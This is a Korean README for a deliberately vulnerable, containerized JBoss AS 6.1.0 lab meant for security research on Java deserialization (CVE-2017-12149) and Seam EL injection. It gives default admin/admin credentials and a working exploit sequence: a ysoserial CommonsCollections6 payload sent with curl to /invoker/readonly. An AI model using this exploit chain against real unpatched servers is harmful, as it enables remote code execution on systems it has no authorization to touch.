
Java 역직렬화(CVE-2017-12149) 및 JBoss Seam EL 주입 취약점을 시연하기 위한 컨테이너화된 JBoss AS 6.1.0 연구 랩으로, 사전 구성된 익스플로잇 검증 단계를 포함합니다.
은행, 의료, 제조와 같은 많은 핵심 산업은 JBoss 5 또는 6에서만 실행되도록 구축된 레거시 미들웨어에 의존합니다. 이러한 애플리케이션은 최신 버전의 WildFly(JBoss의 후속 제품)로 마이그레이션하기에는 너무 취약한 경우가 많기 때문에, 조직은 패치를 적용하는 대신 "에어갭(air-gap)" 처리하거나 VPN 뒤에 숨기는 선택을 합니다. 이러한 경계 방어가 실패하면 취약점은 여전히 활성 상태로 패치되지 않은 채 남아 있습니다.
이 저장소는 보안 연구 및 취약점 검증을 위해 특별히 구성된 컨테이너 기반 JBoss Application Server 6.1.0 환경을 제공합니다. Java 역직렬화(Java Deserialization) 및 JBoss Seam EL 인젝션 취약점을 시연하도록 설계되었습니다.
사용자 지정 자격 증명과 구성이 올바르게 적용되도록 컨테이너를 처음부터 빌드합니다:
docker-compose build --no-cache
docker-compose up -d
JBoss 콘솔: http://localhost:8080/admin-console/
사용자 이름: admin
비밀번호: admin
확인된 취약점
이 환경에서 가장 안정적인 익스플로잇 경로는 /invoker/readonly에 위치한 HTTPServerILServlet을 통하는 것입니다.
검증 단계:
ysoserial을 사용하여 /tmp에 파일을 생성하는 페이로드를 생성합니다:
java -jar ysoserial-all.jar CommonsCollections6 "touch /tmp/pwned" > poc.ser
curl을 통해 바이너리 페이로드를 전송합니다:
curl -v -X POST --data-binary @poc.ser http://localhost:8080/invoker/readonly
익스플로잇이 작동했는지 확인합니다:
docker exec -it jboss-custom-lab ls /tmp/pwned
보안 고지 이 환경은 의도적으로 취약하게 구성되었습니다. 패치되지 않은 수명 종료(EOL) 소프트웨어를 포함합니다.
공용 서버에 배포하지 마십시오.
명시적 테스트 권한이 없는 시스템에서 이러한 도구를 사용하지 마십시오.
교육 목적 및 보안 연구를 위해 개발되었습니다.